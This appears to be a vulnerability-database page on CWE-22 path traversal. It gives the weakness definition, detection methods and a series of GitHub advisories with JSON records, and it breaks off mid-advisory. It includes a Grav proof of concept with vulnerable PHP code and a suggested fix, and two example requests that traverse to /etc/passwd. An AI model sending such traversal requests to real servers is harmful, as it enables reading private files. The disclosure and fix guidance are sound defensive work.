CWE-22
Weakness Allowed-with-ReviewImproper Limitation of a Pathname to a Restricted Directory
Abstraction: Base · Status: Stable
The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory.
Many file operations are intended to take place within a restricted directory. By using special elements such as ".." and "/" separators, attackers can escape outside of the restricted location to access files or directories that are elsewhere on the system. One of the most common special elements is the "../" sequence, which in most modern operating systems is interpreted as the parent directory of the current location. This is referred to as relative path traversal. Path traversal also covers the use of absolute pathnames such as "/usr/local/bin" to access unexpected files. This is referred to as absolute path traversal.
Mapping guidance
This CWE entry might have children that would be more appropriate.
Examine children of this entry to see if there is a better fit. Consider children such as CWE-23 (or its descendants) for relative path traversal, or CWE-36 for absolute path traversal.
Relationships and members
Modes of introduction
Detection methods
Automated Static Analysis
Automated techniques can find areas where path traversal weaknesses exist. However, tuning or customization may be required to remove or de-prioritize path-traversal problems that are only exploitable by the product's administrator - or other privileged users - and thus potentially valid behavior or, at worst, a bug instead of a vulnerability.
Effectiveness: High
Manual Static Analysis
Manual white box techniques may be able to provide sufficient code coverage and reduction of false positives if all file access operations can be assessed within limited time constraints.
Effectiveness: High
Automated Static Analysis - Binary or Bytecode
According to SOAR [REF-1479], the following detection techniques may be useful:
Highly cost effective:
Bytecode Weakness Analysis - including disassembler + source code weakness analysis
Cost effective for partial coverage:
Binary Weakness Analysis - including disassembler + source code weakness analysis
Effectiveness: High
Manual Static Analysis - Binary or Bytecode
According to SOAR [REF-1479], the following detection techniques may be useful:
Cost effective for partial coverage:
Binary / Bytecode disassembler - then use manual analysis for vulnerabilities & anomalies
Effectiveness: SOAR Partial
Dynamic Analysis with Automated Results Interpretation
According to SOAR [REF-1479], the following detection techniques may be useful:
Highly cost effective:
Web Application Scanner
Web Services Scanner
Database Scanners
Effectiveness: High
Dynamic Analysis with Manual Results Interpretation
According to SOAR [REF-1479], the following detection techniques may be useful:
Highly cost effective:
Fuzz Tester
Framework-based Fuzzer
Effectiveness: High
Manual Static Analysis - Source Code
According to SOAR [REF-1479], the following detection techniques may be useful:
Highly cost effective:
Manual Source Code Review (not inspections)
Cost effective for partial coverage:
Focused Manual Spotcheck - Focused manual analysis of source
Effectiveness: High
Automated Static Analysis - Source Code
According to SOAR [REF-1479], the following detection techniques may be useful:
Highly cost effective:
Source code Weakness Analyzer
Context-configured Source Code Weakness Analyzer
Effectiveness: High
Architecture or Design Review
According to SOAR [REF-1479], the following detection techniques may be useful:
Highly cost effective:
Formal Methods / Correct-By-Construction
Cost effective for partial coverage:
Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.)
Effectiveness: High
Notes
Other
In many programming languages, the injection of a null byte (the 0 or NUL) may allow an attacker to truncate a generated filename to apply to a wider range of files. For example, the product may add ".txt" to any pathname, thus limiting the attacker to text files, but a null injection may effectively remove this restriction.
Relationship
Pathname equivalence can be regarded as a type of canonicalization error.
Relationship
Some pathname equivalence issues are not directly related to directory traversal, rather are used to bypass security-relevant checks for whether a file/directory can be accessed by the attacker (e.g. a trailing "/" on a filename could bypass access rules that don't expect a trailing /, causing a server to provide the file when it normally would not).
Terminology
Like other weaknesses, terminology is often based on the types of manipulations used, instead of the underlying weaknesses. Some people use "directory traversal" only to refer to the injection of ".." and equivalent sequences whose specific meaning is to traverse directories.
Other variants like "absolute pathname" and "drive letter" have the *effect* of directory traversal, but some people may not call it such, since it doesn't involve ".." or equivalent.
Research Gap
Many variants of path traversal attacks are probably under-studied with respect to root cause. CWE-790 and CWE-182 begin to cover part of this gap.
Research Gap
Incomplete diagnosis or reporting of vulnerabilities can make it difficult to know which variant is affected. For example, a researcher might say that "..\" is vulnerable, but not test "../" which may also be vulnerable.
Any combination of directory separators ("/", "\", etc.) and numbers of "." (e.g. "....") can produce unique variants; for example, the "//../" variant is not listed (CVE-2004-0325). See this entry's children and lower-level descendants.
Content history
Identified weakness in Perl demonstrative example
Provided diagram to improve CWE usability
Identified weakness in "good code" for Python demonstrative example
Provided a demonstrative example in PHP
updated Potential_Mitigations, Time_of_Introduction
Suggested OWASP Top Ten 2004 mapping
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updated Description
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updated Common_Consequences, Demonstrative_Examples, Description, Detection_Factors, Potential_Mitigations, References, Relationships
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updated Potential_Mitigations
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updated Related_Attack_Patterns, Relationships
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updated Relationships
updated Related_Attack_Patterns
updated Demonstrative_Examples
updated Affected_Resources, Causal_Nature, Likelihood_of_Exploit, References, Relationships, Relevant_Properties, Taxonomy_Mappings
updated References, Relationships
updated References, Related_Attack_Patterns, Relationships, Taxonomy_Mappings
updated Related_Attack_Patterns, Relationships, Type
updated Relationships
updated Potential_Mitigations, Relationships
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updated Alternate_Terms, Applicable_Platforms, Demonstrative_Examples, Relationships
updated Applicable_Platforms, Common_Consequences, Name, References, Relationships, Taxonomy_Mappings
16154 vulnerabilities reference this CWE, most recent first.
GHSA-4V9Q-P283-QC2M
Vulnerability from github – Published: 2026-09-17 20:43 – Updated: 2026-09-17 20:43Verified against: getgrav/grav devel branch, GRAV_VERSION = "2.0.15", file `index.php
Title
Unauthenticated Path Traversal via Missing Directory-Boundary Check in plugin-asset-map.php Static Asset Server (index.php)
Product / Affected Versions
- Product:
getgrav/grav - File:
index.php(top-level front controller, runs before Grav itself boots) - Confirmed present in: devel branch, 2.0.15
- Precondition: requires
user/config/plugin-asset-map.phpto exist and contain at least one route-prefix mapping ,this is an opt-in mechanism (per the code comment: "Fast static asset serving for plugins that bundle SPA apps"). No core mechanism generates this file automatically; it's created by a plugin that opts into this fast-path. Not reachable on a stock Grav install with no such plugin. Where reachable, it requires zero authentication.
CWE
CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') , specific mechanism: a path-prefix containment check performed with plain string comparison (str_starts_with) instead of a directory-boundary-aware comparison, allowing escape into any sibling path whose name happens to extend the base directory's name as a string.
Description
index.php implements a fast-path static file server that runs before Grav's own routing/security stack, gated on the presence of an asset-map file:
$assetMapFile = __DIR__ . '/user/config/plugin-asset-map.php';
if (is_file($assetMapFile)) {
$assetMap = require $assetMapFile;
foreach ($assetMap as $routePrefix => $diskPath) {
if (str_starts_with($path, $routePrefix)) {
$relPath = substr($path, strlen($routePrefix));
$filePath = __DIR__ . '/' . ltrim($diskPath, '/') . $relPath;
$realFile = realpath($filePath);
$realBase = realpath(__DIR__ . '/' . ltrim($diskPath, '/'));
if ($realFile && $realBase && str_starts_with($realFile, $realBase) && is_file($realFile)) {
// ... serves $realFile directly, with Content-Type inferred from extension
readfile($realFile);
exit;
}
}
}
}
realpath() correctly resolves .. sequences, so a naive ../../etc/passwd-style traversal that leaves the filesystem entirely is blocked (it wouldn't share the $realBase string prefix). But the containment check itself, str_starts_with($realFile, $realBase), has no directory-boundary awareness it's a plain string-prefix test, not "is $realFile inside the $realBase directory." Any resolved path whose string representation merely begins with the same characters as $realBase passes, including sibling directories that extend the base directory's name (assets → assets-secret, assets.bak, assets_old, assets2, etc.) a very common real-world directory-naming pattern (backup dirs, versioned dirs, disabled/legacy dirs sitting alongside the active one).
Live Proof of Concept
Setup: the exact code block above, extracted verbatim from index.php, executed with PHP 8.3.6 against a realistic directory layout (a plugin's active assets/ dir sitting next to an unrelated assets-secret/ dir containing a fake secret):
user/plugins/myplugin/assets/app.js <- intended, public
user/plugins/myplugin/assets-secret/config.php <- NOT intended to be served
user/config/plugin-asset-map.php:
return ['/myplugin-assets' => 'user/plugins/myplugin/assets'];
Legitimate request (/myplugin-assets/app.js):
realFile: '/home/claude/grav-poc/user/plugins/myplugin/assets/app.js'
realBase: '/home/claude/grav-poc/user/plugins/myplugin/assets'
>>> WOULD SERVE FILE <<<
>>> Content: public asset content
Traversal request (/myplugin-assets/../assets-secret/config.php):
realFile: '/home/claude/grav-poc/user/plugins/myplugin/assets-secret/config.php'
realBase: '/home/claude/grav-poc/user/plugins/myplugin/assets'
>>> WOULD SERVE FILE <<<
>>> Content: SECRET_API_KEY=sk_live_totally_secret_12345
str_starts_with('.../assets-secret/config.php', '.../assets') evaluates true because assets-secret literally begins with the characters assets there is no separator-boundary check (e.g. requiring $realBase . '/' as the actual prefix) to prevent this.
Trust-boundary framing (per Grav's own SECURITY.md)
This code path requires no Grav account , it runs before Grav even initializes, directly off the raw request path. Per Grav's own stated criteria: "An unauthenticated attacker can achieve RCE, exfiltrate site data, or gain admin-equivalent control. No Grav account required" → this matches the CRITICAL bar exactly, for any deployment where the plugin-asset-map.php mechanism is in active use.
Suggested Fix
Append a trailing directory separator before the prefix comparison, or use a proper containment check:
if ($realFile && $realBase && (
$realFile === $realBase ||
str_starts_with($realFile, $realBase . DIRECTORY_SEPARATOR)
) && is_file($realFile)) {
This is the standard fix for this exact bug class , ensuring the matched prefix ends exactly at a directory boundary, not partway through a longer sibling name.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 2.0.14"
},
"package": {
"ecosystem": "Packagist",
"name": "getgrav/grav"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2.0.15"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-74907"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": true,
"github_reviewed_at": "2026-09-17T20:43:16Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "**Verified against:** `getgrav/grav` devel branch, `GRAV_VERSION = \"2.0.15\"`, file `index.php\n\n## Title\nUnauthenticated Path Traversal via Missing Directory-Boundary Check in `plugin-asset-map.php` Static Asset Server (`index.php`)\n\n## Product / Affected Versions\n- Product: `getgrav/grav`\n- File: `index.php` (top-level front controller, runs before Grav itself boots)\n- Confirmed present in: devel branch, 2.0.15\n- **Precondition:** requires `user/config/plugin-asset-map.php` to exist and contain at least one route-prefix mapping ,this is an opt-in mechanism (per the code comment: \"Fast static asset serving for plugins that bundle SPA apps\"). No core mechanism generates this file automatically; it\u0027s created by a plugin that opts into this fast-path. **Not reachable on a stock Grav install with no such plugin.** Where reachable, it requires zero authentication.\n\n## CWE\nCWE-22: Improper Limitation of a Pathname to a Restricted Directory (\u0027Path Traversal\u0027) , specific mechanism: a path-prefix containment check performed with plain string comparison (`str_starts_with`) instead of a directory-boundary-aware comparison, allowing escape into any sibling path whose name happens to extend the base directory\u0027s name as a string.\n\n## Description\n\n`index.php` implements a fast-path static file server that runs *before* Grav\u0027s own routing/security stack, gated on the presence of an asset-map file:\n\n```php\n$assetMapFile = __DIR__ . \u0027/user/config/plugin-asset-map.php\u0027;\nif (is_file($assetMapFile)) {\n $assetMap = require $assetMapFile;\n foreach ($assetMap as $routePrefix =\u003e $diskPath) {\n if (str_starts_with($path, $routePrefix)) {\n $relPath = substr($path, strlen($routePrefix));\n $filePath = __DIR__ . \u0027/\u0027 . ltrim($diskPath, \u0027/\u0027) . $relPath;\n $realFile = realpath($filePath);\n $realBase = realpath(__DIR__ . \u0027/\u0027 . ltrim($diskPath, \u0027/\u0027));\n if ($realFile \u0026\u0026 $realBase \u0026\u0026 str_starts_with($realFile, $realBase) \u0026\u0026 is_file($realFile)) {\n // ... serves $realFile directly, with Content-Type inferred from extension\n readfile($realFile);\n exit;\n }\n }\n }\n}\n```\n\n`realpath()` correctly resolves `..` sequences, so a naive `../../etc/passwd`-style traversal that leaves the filesystem entirely is blocked (it wouldn\u0027t share the `$realBase` string prefix). **But the containment check itself, `str_starts_with($realFile, $realBase)`, has no directory-boundary awareness** it\u0027s a plain string-prefix test, not \"is `$realFile` inside the `$realBase` directory.\" Any resolved path whose string representation merely *begins with* the same characters as `$realBase` passes, including sibling directories that extend the base directory\u0027s name (`assets` \u2192 `assets-secret`, `assets.bak`, `assets_old`, `assets2`, etc.) a very common real-world directory-naming pattern (backup dirs, versioned dirs, disabled/legacy dirs sitting alongside the active one).\n\n## Live Proof of Concept\n\n**Setup:** the exact code block above, extracted verbatim from `index.php`, executed with PHP 8.3.6 against a realistic directory layout (a plugin\u0027s active `assets/` dir sitting next to an unrelated `assets-secret/` dir containing a fake secret):\n\n```\nuser/plugins/myplugin/assets/app.js \u003c- intended, public\nuser/plugins/myplugin/assets-secret/config.php \u003c- NOT intended to be served\nuser/config/plugin-asset-map.php:\n return [\u0027/myplugin-assets\u0027 =\u003e \u0027user/plugins/myplugin/assets\u0027];\n```\n\n**Legitimate request** (`/myplugin-assets/app.js`):\n```\nrealFile: \u0027/home/claude/grav-poc/user/plugins/myplugin/assets/app.js\u0027\nrealBase: \u0027/home/claude/grav-poc/user/plugins/myplugin/assets\u0027\n\u003e\u003e\u003e WOULD SERVE FILE \u003c\u003c\u003c\n\u003e\u003e\u003e Content: public asset content\n```\n\n**Traversal request** (`/myplugin-assets/../assets-secret/config.php`):\n```\nrealFile: \u0027/home/claude/grav-poc/user/plugins/myplugin/assets-secret/config.php\u0027\nrealBase: \u0027/home/claude/grav-poc/user/plugins/myplugin/assets\u0027\n\u003e\u003e\u003e WOULD SERVE FILE \u003c\u003c\u003c\n\u003e\u003e\u003e Content: SECRET_API_KEY=sk_live_totally_secret_12345\n```\n\n`str_starts_with(\u0027.../assets-secret/config.php\u0027, \u0027.../assets\u0027)` evaluates `true` because `assets-secret` literally begins with the characters `assets` there is no separator-boundary check (e.g. requiring `$realBase . \u0027/\u0027` as the actual prefix) to prevent this.\n\n## Trust-boundary framing (per Grav\u0027s own SECURITY.md)\nThis code path requires **no Grav account** , it runs before Grav even initializes, directly off the raw request path. Per Grav\u0027s own stated criteria: *\"An unauthenticated attacker can achieve RCE, exfiltrate site data, or gain admin-equivalent control. No Grav account required\"* \u2192 this matches the **CRITICAL** bar exactly, for any deployment where the `plugin-asset-map.php` mechanism is in active use.\n\n## Suggested Fix\nAppend a trailing directory separator before the prefix comparison, or use a proper containment check:\n```php\nif ($realFile \u0026\u0026 $realBase \u0026\u0026 (\n $realFile === $realBase ||\n str_starts_with($realFile, $realBase . DIRECTORY_SEPARATOR)\n) \u0026\u0026 is_file($realFile)) {\n```\nThis is the standard fix for this exact bug class\n, ensuring the matched prefix ends exactly at a directory boundary, not partway through a longer sibling name.",
"id": "GHSA-4v9q-p283-qc2m",
"modified": "2026-09-17T20:43:16Z",
"published": "2026-09-17T20:43:16Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/getgrav/grav/security/advisories/GHSA-4v9q-p283-qc2m"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-74907"
},
{
"type": "PACKAGE",
"url": "https://github.com/getgrav/grav"
},
{
"type": "WEB",
"url": "https://www.vulncheck.com/advisories/grav-before-path-traversal-via-plugin-asset-map-php"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "Grav: Unauthenticated Path Traversal via Missing Directory-Boundary Check in `plugin-asset-map.php` Static Asset Server (`index.php`)"
}
GHSA-4VCC-776R-83H7
Vulnerability from github – Published: 2026-01-14 00:31 – Updated: 2026-01-14 00:31Owlfiles File Manager 12.0.1 contains a path traversal vulnerability in its built-in HTTP server that allows attackers to access system directories. Attackers can exploit the vulnerability by crafting GET requests with directory traversal sequences to access restricted system directories on the device.
{
"affected": [],
"aliases": [
"CVE-2022-50890"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-01-13T23:15:50Z",
"severity": "HIGH"
},
"details": "Owlfiles File Manager 12.0.1 contains a path traversal vulnerability in its built-in HTTP server that allows attackers to access system directories. Attackers can exploit the vulnerability by crafting GET requests with directory traversal sequences to access restricted system directories on the device.",
"id": "GHSA-4vcc-776r-83h7",
"modified": "2026-01-14T00:31:27Z",
"published": "2026-01-14T00:31:27Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-50890"
},
{
"type": "WEB",
"url": "https://apps.apple.com/us/app/owlfiles-file-manager/id510282524"
},
{
"type": "WEB",
"url": "https://www.exploit-db.com/exploits/51036"
},
{
"type": "WEB",
"url": "https://www.skyjos.com"
},
{
"type": "WEB",
"url": "https://www.vulncheck.com/advisories/owlfiles-file-manager-path-traversal"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-4VCM-QFXH-P6C3
Vulnerability from github – Published: 2018-07-23 20:40 – Updated: 2023-09-11 23:14Affected versions of getcityapi.yoehoehne resolve relative file paths, resulting in a directory traversal vulnerability. A malicious actor can use this vulnerability to access files outside of the intended directory root, which may result in the disclosure of private files on the vulnerable system.
Example request:
GET /../../../../../../../../../../etc/passwd HTTP/1.1
host:foo
Recommendation
No patch is available for this vulnerability.
It is recommended that the package is only used for local development, and if the functionality is needed for production, a different package is used instead.
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "getcityapi.yoehoehne"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"last_affected": "0.0.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2017-16192"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": true,
"github_reviewed_at": "2020-06-16T20:59:12Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "Affected versions of `getcityapi.yoehoehne` resolve relative file paths, resulting in a directory traversal vulnerability. A malicious actor can use this vulnerability to access files outside of the intended directory root, which may result in the disclosure of private files on the vulnerable system.\n\n**Example request:**\n```http\nGET /../../../../../../../../../../etc/passwd HTTP/1.1\nhost:foo\n```\n\n\n## Recommendation\n\nNo patch is available for this vulnerability.\n\nIt is recommended that the package is only used for local development, and if the functionality is needed for production, a different package is used instead.",
"id": "GHSA-4vcm-qfxh-p6c3",
"modified": "2023-09-11T23:14:01Z",
"published": "2018-07-23T20:40:29Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2017-16192"
},
{
"type": "WEB",
"url": "https://github.com/JacksonGL/NPM-Vuln-PoC/blob/master/directory-traversal/getcityapi.yoehoehne"
},
{
"type": "ADVISORY",
"url": "https://github.com/advisories/GHSA-4vcm-qfxh-p6c3"
},
{
"type": "WEB",
"url": "https://www.npmjs.com/advisories/438"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
],
"summary": "Directory Traversal in getcityapi.yoehoehne"
}
GHSA-4VCX-3PJ3-44M7
Vulnerability from github – Published: 2025-11-04 15:31 – Updated: 2025-11-07 16:42Impact
When downloadinging comic images, Dosage constructs target file names from different aspects of the remote comic (page URL, image URL, page content, etc.). While the basename is properly stripped of directory-traversing characters, the file extension is taken from the HTTP Content-Type header. This allows a remote attacker (or a Man-in-the-Middle, if the comic is served over HTTP) to write arbitrary files outside the target directory (if additional conditions are met).
Patches
Fixed in release 3.2. The fix is small and self-contained, so distributors might elect to backport the fix to older versions.
Workarounds
No
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "dosage"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "3.2"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2025-64184"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": true,
"github_reviewed_at": "2025-11-04T15:31:48Z",
"nvd_published_at": "2025-11-07T04:15:46Z",
"severity": "HIGH"
},
"details": "### Impact\n\nWhen downloadinging comic images, Dosage constructs target file names from different aspects of the remote comic (page URL, image URL, page content, etc.). While the basename is properly stripped of directory-traversing characters, the file extension is taken from the HTTP `Content-Type` header. This allows a remote attacker (or a Man-in-the-Middle, if the comic is served over HTTP) to write arbitrary files outside the target directory (if additional conditions are met). \n\n### Patches\n\nFixed in release 3.2. The [fix is small and self-contained](https://github.com/webcomics/dosage/commit/336a9684191604bc49eed7296b74bd582151181e), so distributors might elect to backport the fix to older versions.\n\n### Workarounds\n\nNo",
"id": "GHSA-4vcx-3pj3-44m7",
"modified": "2025-11-07T16:42:26Z",
"published": "2025-11-04T15:31:48Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/webcomics/dosage/security/advisories/GHSA-4vcx-3pj3-44m7"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-64184"
},
{
"type": "WEB",
"url": "https://github.com/webcomics/dosage/commit/336a9684191604bc49eed7296b74bd582151181e"
},
{
"type": "PACKAGE",
"url": "https://github.com/webcomics/dosage"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "Dosage vulnerable to a Directory Traversal through crafted HTTP responses"
}
GHSA-4VFJ-C2XF-8R48
Vulnerability from github – Published: 2018-07-23 20:45 – Updated: 2023-09-05 22:26Affected versions of looppake resolve relative file paths, resulting in a directory traversal vulnerability. A malicious actor can use this vulnerability to access files outside of the intended directory root, which may result in the disclosure of private files on the vulnerable system.
Example request:
GET /../../../../../../../../../../etc/passwd HTTP/1.1
host:foo
Recommendation
No patch is available for this vulnerability.
It is recommended that the package is only used for local development, and if the functionality is needed for production, a different package is used instead.
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "looppake"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"last_affected": "3.0.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2017-16169"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": true,
"github_reviewed_at": "2020-06-16T20:59:15Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "Affected versions of `looppake` resolve relative file paths, resulting in a directory traversal vulnerability. A malicious actor can use this vulnerability to access files outside of the intended directory root, which may result in the disclosure of private files on the vulnerable system.\n\n**Example request:**\n```http\nGET /../../../../../../../../../../etc/passwd HTTP/1.1\nhost:foo\n```\n\n\n## Recommendation\n\nNo patch is available for this vulnerability.\n\nIt is recommended that the package is only used for local development, and if the functionality is needed for production, a different package is used instead.",
"id": "GHSA-4vfj-c2xf-8r48",
"modified": "2023-09-05T22:26:53Z",
"published": "2018-07-23T20:45:20Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2017-16169"
},
{
"type": "WEB",
"url": "https://github.com/JacksonGL/NPM-Vuln-PoC/blob/master/directory-traversal/looppake"
},
{
"type": "ADVISORY",
"url": "https://github.com/advisories/GHSA-4vfj-c2xf-8r48"
},
{
"type": "WEB",
"url": "https://www.npmjs.com/advisories/412"
}
],
"schema_version": "1.4.0",
"severity": [],
"summary": "Directory Traversal in looppake"
}
GHSA-4VFW-6C9M-CHGP
Vulnerability from github – Published: 2022-04-29 03:02 – Updated: 2022-04-29 03:02Directory traversal vulnerability in browser.php in JBrowser 1.0 through 2.1 allows remote attackers to read arbitrary files via the directory parameter. NOTE: the provenance of this information is unknown; the details are obtained solely from third party information.
{
"affected": [],
"aliases": [
"CVE-2004-2750"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2004-12-31T05:00:00Z",
"severity": "MODERATE"
},
"details": "Directory traversal vulnerability in browser.php in JBrowser 1.0 through 2.1 allows remote attackers to read arbitrary files via the directory parameter. NOTE: the provenance of this information is unknown; the details are obtained solely from third party information.",
"id": "GHSA-4vfw-6c9m-chgp",
"modified": "2022-04-29T03:02:03Z",
"published": "2022-04-29T03:02:03Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2004-2750"
},
{
"type": "WEB",
"url": "http://securitytracker.com/id?1008909"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/bid/9535"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-4VG6-75W4-GWF6
Vulnerability from github – Published: 2022-05-17 02:54 – Updated: 2022-05-17 02:54All editions of Rapid7 Metasploit prior to version 4.13.0-2017020701 contain a directory traversal vulnerability in the Meterpreter stdapi Dir.download() function. By using a specially-crafted build of Meterpreter, it is possible to write to an arbitrary directory on the Metasploit console with the permissions of the running Metasploit instance.
{
"affected": [],
"aliases": [
"CVE-2017-5228"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2017-03-02T20:59:00Z",
"severity": "HIGH"
},
"details": "All editions of Rapid7 Metasploit prior to version 4.13.0-2017020701 contain a directory traversal vulnerability in the Meterpreter stdapi Dir.download() function. By using a specially-crafted build of Meterpreter, it is possible to write to an arbitrary directory on the Metasploit console with the permissions of the running Metasploit instance.",
"id": "GHSA-4vg6-75w4-gwf6",
"modified": "2022-05-17T02:54:33Z",
"published": "2022-05-17T02:54:33Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2017-5228"
},
{
"type": "WEB",
"url": "https://community.rapid7.com/community/infosec/blog/2017/03/01/multiple-vulnerabilities-affecting-four-rapid7-products"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/bid/96954"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:L",
"type": "CVSS_V3"
}
]
}
GHSA-4VGR-MPFQ-V32M
Vulnerability from github – Published: 2022-05-17 02:27 – Updated: 2025-04-20 03:41In Sitecore 8.2, there is absolute path traversal via the shell/Applications/Layouts/IDE.aspx fi parameter and the admin/LinqScratchPad.aspx Reference parameter.
{
"affected": [],
"aliases": [
"CVE-2017-11440"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2017-07-19T07:29:00Z",
"severity": "MODERATE"
},
"details": "In Sitecore 8.2, there is absolute path traversal via the shell/Applications/Layouts/IDE.aspx fi parameter and the admin/LinqScratchPad.aspx Reference parameter.",
"id": "GHSA-4vgr-mpfq-v32m",
"modified": "2025-04-20T03:41:04Z",
"published": "2022-05-17T02:27:15Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2017-11440"
},
{
"type": "WEB",
"url": "https://packetstormsecurity.com/files/143357/Sitecore-CMS-8.2-Cross-Site-Scripting-File-Disclosure.html"
},
{
"type": "WEB",
"url": "https://xc0re.net/2017/07/03/sitecore-cms-v-8-2-multiple-vulnerabilties"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-4VHW-4RW7-JFPV
Vulnerability from github – Published: 2021-08-25 20:49 – Updated: 2023-02-09 14:23An issue was discovered in the mozwire crate through 2020-08-18 for Rust. A ../ directory-traversal situation allows overwriting local files that have .conf at the end of the filename.
{
"affected": [
{
"package": {
"ecosystem": "crates.io",
"name": "mozwire"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.5.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2020-35883"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": true,
"github_reviewed_at": "2021-08-19T20:56:07Z",
"nvd_published_at": "2020-12-31T10:15:00Z",
"severity": "CRITICAL"
},
"details": "An issue was discovered in the mozwire crate through 2020-08-18 for Rust. A ../ directory-traversal situation allows overwriting local files that have .conf at the end of the filename.",
"id": "GHSA-4vhw-4rw7-jfpv",
"modified": "2023-02-09T14:23:48Z",
"published": "2021-08-25T20:49:02Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2020-35883"
},
{
"type": "WEB",
"url": "https://github.com/NilsIrl/MozWire/issues/14"
},
{
"type": "WEB",
"url": "https://github.com/NilsIrl/MozWire/pull/17/commits/dd0639bf2876773b66382f47285f7db701f628d9"
},
{
"type": "WEB",
"url": "https://github.com/NilsIrl/MozWire"
},
{
"type": "WEB",
"url": "https://rustsec.org/advisories/RUSTSEC-2020-0030.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "Path traversal in mozwire"
}
GHSA-4VJG-VX72-QQ4G
Vulnerability from github – Published: 2026-10-28 21:13 – Updated: 2026-10-28 21:13Summary
On Linux, systeminformation@5.33.13 builds /sys/class/net/<iface> paths from the caller-supplied networkStats(iface) value without checking that the resolved path stays inside /sys/class/net. A caller who can create a symlink fixture and control the value passed to this API can make the function return the first line of a file readable by the Node process.
Details
The strict string sanitizer removes shell metacharacters but retains / and .. The Linux implementation uses this value in an fs.existsSync('/sys/class/net/' + iface) check and then in seven cat paths for interface statistics. Both operations follow .. path components and symlinks. The code does not validate the value as an interface name or enforce resolved-path containment.
